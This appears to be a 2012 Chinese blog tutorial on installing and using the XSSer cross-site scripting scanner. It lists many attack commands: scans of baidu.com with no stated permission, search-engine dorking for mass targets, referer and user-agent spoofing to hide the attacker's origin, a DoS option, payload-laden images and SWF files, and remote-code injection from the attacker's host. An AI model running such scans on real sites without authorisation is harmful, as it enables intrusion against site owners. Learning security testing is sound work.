您的位置:首页 > 其它

我在江北学安全(五) 渗透测试资源总览 和 XSS扫描系统原理 (续)

2012-10-16 17:25 507 查看
VMware安装虚拟机Ubuntu的时候,安装完毕后是命令行模式,得重启后才能进入图形界面。

=======================================================================

XSSer 安装与测试

教程入口:http://xsser.sourceforge.net/

1. Installation 安装python相关组件

XSSer runs on many platforms. It requires Python and the following libraries:

- python-pycurl - Python bindings to libcurl

- python-beautifulsoup - error-tolerant HTML parser for Python

- python-libxml2 - Python bindings for the GNOME XML library

- python-geoip - Python bindings for the GeoIP IP-to-country resolver library


在Ubuntu下用这个指令就能够安装后所有的要用到python模块:
sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip


2.下载XSSer相应的包并且安装

下载地址:http://sourceforge.net/projects/xsser/files/xsser_1.6-1.tar.gz/download

下载后用以下指令:

安装:

tar xzvf xsser-1.6_all.deb.tar.gz
sudo dpkg -i xsser-1.6_all.deb


以GTK模式(也就是图形化模式运行)(GTK mode):
xsser --gtk --silent


Ps:当然你也可以SVN check out 源代码:
$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

3.XSSer语法的掌握 (官网写的是 python xsser.py -u "http://www.baidu.com",我用的xsser -u "http://www.baidu.com",都行)

(1)最简单的注入

xsser -u "http://www.baidu.com"


(2)从文件中读取URL,带有代理和HTTP REFERER的注入

xsser -i url.txt  --proxy "http://127.0.0.1:8118" --referer 666.666.666.666

Ps:HTTP Referer是HTTP header的一部分,浏览器向web服务器发送请求的时候,一般会用到referer,以便告诉web服务器我是从哪个页面过来的,方便web服务器统计。而我们加个--referer 666.666.666.666,实际上是不想被web服务器发现我们从哪里来。其实它应该被写成HTTP Refferer,但是写错的人多了,写标准的货也就将就用HTTP Referer啦。。

(3)使用Cem(Character Encoding Mutations 字符编码基因突变),使用user-agent,设置超时时间,设置线程数

xsser -u "http://www.baidu.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"

Ps1:Cem就是先用Hex编码,再转为Str编码,然后再转为Hex编码!

(first, change payload to hexadecimal; second, change to StringFromCharCode the first encoding; third, reencode to Hexadecimal the second encoding)

Ps2:user-agent 也就是用户代理,这个域放置了一些信息如OS版本,CPU类型,浏览器版本,浏览器渲染引擎,浏览器语言,浏览器语言等,可以被web服务器获取,这里我们不想被web服务器获取,所以就设置了下“XSSer!!!”就好啦~~

(4)从文件读取(-i "urls.txt"),装载自己的代码(--payload ' ' ),并且用JS中的Unescape()函数解码(--Une)

xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
Ps:a+b+c+d得到字符串"getURL("javascript:alert('XSS')")" ,这个函数式Flash的常用函数,用来打开一个链接,无论是远程还是本地,只有满足一下两个条件,才能用这种形式的代码:
getURL("javascript:someFunction()")
1)页面有Flash player 8 以及更高版本中

2)SWF文件或者包含该文件的web页面被包含在本地受信任的沙箱中

满足上述条件就能够用:

--payload 'eval(getURL("javascript:alert('XSS!!!')"))'
思考1:为什么要分成abcd四个部分呢!?然后再合起来?

思考2:--Une为什么要用到这里?Unescape()函数对escape()函数编码过后的字符串进行解码,如果字符串不是编码后的字符串,则会把字符串原封不动的返回。也就是说,字符串被浏览器编码后送到web服务器吗?escape()一般用于脚本向某个页面如a.php这个URL传递参数时编码,可是我用的是XSSer,它在传递参数的时候会编码吗?

这两个问题等我以后深入了解再回来回答。

(5)指定引擎并且从引擎的返回结果作为target URL--XSSer Storm

xsser --De "duck" -d "search.php?"


Ps1: duckduckgo是一个网站,搞搜索引擎的 "duck"。

Ps2:  -d DORK       把搜索结果作为攻击的目标URL ( Process search engine dork results as target urls)

Ps3:  --De=DORK_ENGINE  指定用到的引擎 for dorking 有这么多:(bing, altavista, yahoo, baidu, yandex, youdao, webcrawler, google, etc.)

                    

(6)指定抓取URL的深度和数量

    --Cw=CRAWLER_WIDTH  Deeping level of crawler: 1-5

    --Cl                Crawl only local target(s) urls (default TRUE)

xsser -c 3 --Cw=4 -u "http://www.baidu.com"


(7)Post数据(Simple injection from URL, using POST, with statistics results)

xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
Ps :-s, --statistics      show advanced statistics output results

思考:这个-s到底有什么用呢?统计数据?Post数据一般就是把数据封装到表单中然后发到web服务器请求。

回答:这个-s其实和post没关系,就是把数据给统计了:

===========================================================================

[*] Statistic:

===========================================================================

--------------------------------------------------

Test Time Duration:  0:00:05.929196

--------------------------------------------------

Total Connections: 2

-------------------------

200-OK: 1 | 404: 0 | 503: 0 | Others: 1

Connec: 50 %

--------------------------------------------------

Total Payloads: 1

-------------------------

Checker: 0 | Manual: 0 | Auto: 1 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0

--------------------------------------------------

Total Injections: 1

-------------------------

Failed: 1 | Sucessfull: 0

Accur : 0 %

-------------------------

Total Discovered: 0

-------------------------

Checker: 0 | Manual: 0 | Auto: 0 | DCP: 0 | DOM: 0 | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0

--------------------------------------------------

False positives: 0 | Vulnerables: 0

-------------------------

Mana: 0

--------------------------------------------------

[I] Could not find any vulnerability!. Try another combination or hack it -manually- :)

===========================================================================

(8)Get请求 八进制编码(--Doo) 结果以简短URL形式(--short tinyurl)

xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
思考:至今还是不知道Get请求和Post请求这些参数如 "bs/?q="要怎么设定的吗?我个人认为如果不知道网站的源代码,根本不知道参数怎么填?那么这个XSSer的参数是猜测的吗?

(9)Shadow DOM XSS攻击,跨站Cookie注入,最终代码FinalRemote(--Fr)

xsser -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
Ps1:    --Coo       跨站Cookie注入        COO - Cross Site Scripting Cookie injection 

Ps2:DOM XSS 攻击原理

Ps3:DOM shadow space (no server logging!) 这个DOM阴影空间貌似在哪里听过?可是就是找不到相关资料。。。终于google到了这篇文章,它讲的是Shadow DOM

什么是Shadow Dom?可能会给你带来点帮助。。。

(10) Dos(拒绝服务攻击)   网址压缩is.gd

xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"


Ps:根据官方介绍,Is.gd 至今已处理了近 900 万个网址。首页非常简洁,输入需要压缩的网址提交即可。生成缩略网址后系统会计算压缩前后的字符串长度,并给出压缩率。

如果想要让用户预览网页,而不是直接发送缩略网址(有助于用户了解所链接到的网址,防止被钓鱼),只需在缩略网址后添加连接字符 “-” 来开启网页预览功能。

例如,芒果的网址 http://www.mangguo.org 经过压缩后为 http://is.gd/Aqdn,网页预览地址为 http://is.gd/Aqdn-

注意:缩略网址 URL 中字母区分大小写。

XSSer结果会多了这么一行:

[/] Shortered URL (Injection): http://is.gd/eAxg3x[/code] 

(11) 在这些地方注入参数变量: HTTP USer-Agent,HTTP Referer ,  Cookie parameters

xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"

Ps1:   --Xsa               XSA - Cross Site Agent Scripting

Ps2:   --Xsr               XSR - Cross Site Referer Scripting

(12)  创建一个假的XSS代码嵌入图像(create a false image with XSS code embedded)

xsser --imx "test.png" --payload "!enter your malicious injection code here!"

思考:至今还是不会在这个恶意代码里面写点东西,到底要写什么好呢?
回答:这个 <script>alert('XSS');</script>可以吗?结果成功~
xsser --imx "test.jpg" --payload "<script>alert('XSS')</script>"


(13)把积极的结果输出到指定的XML文件中(Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file).

xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml" 
Ps: --xml 指定一个XML文件,用来存放输出的”积极“结果,我猜测这个”积极“就是可能能够注入的结果URL
结果一打开xml文件,发现还真的是和我的猜想一致!我真的是神意识啊!~~

(14)把我们的扫描结果上传到某些网站上(twitter)这个功能真的是有爱啊~,不吐槽了。。

xsser -d "login.php" --De "duck" --tweet
示例网站:
- http://identi.ca/xsserbot01 

- http://twitter.com/xsserbot01

(15)创建一个swf电影注入XSS代码(Create a .swf movie with XSS code injected)

这个和那个图片的嵌入恶意代码差不多
xsser --fla "name_of_file.swf" --payload "<script>alert('XSS!!!');</script>"


(16) 发送一个hash值,预先看看目标URL是否重复全部内容(send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved)

xsser -u "http://www.baidu.com" --hash
结果是:
Checker: looks like your target(s) does not repeat all received code.

Ps:这句话很好懂哦: send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved

思考:这个hash它是怎么去pre-check呢?如果要确认是否重复,首先我的有这个网页的URL的hash,然后我发给它,那么这个hash哪里来呢?难道是有文件存储着?第一次的话没有hash怎么办?

回答:不懂~真心不懂~等以后的我深入了解了再研究吧~

(17) Data Control Protocal(DCP) 数据控制协议 注入,这个好偏门的感觉

xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"


(18)META标签中的Base64编码(RFC2397),也是很偏门的感觉

xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
这个Base64编码:
--B64               B64    - Base64 code encoding in META tag (rfc2397)


(19)启动浏览器,结束时发现的每个XSS(launch a browser at the end with each XSS discovered)

xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
思考:都越来越不知道什么意思了。。。
直接贴英文吧:
Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: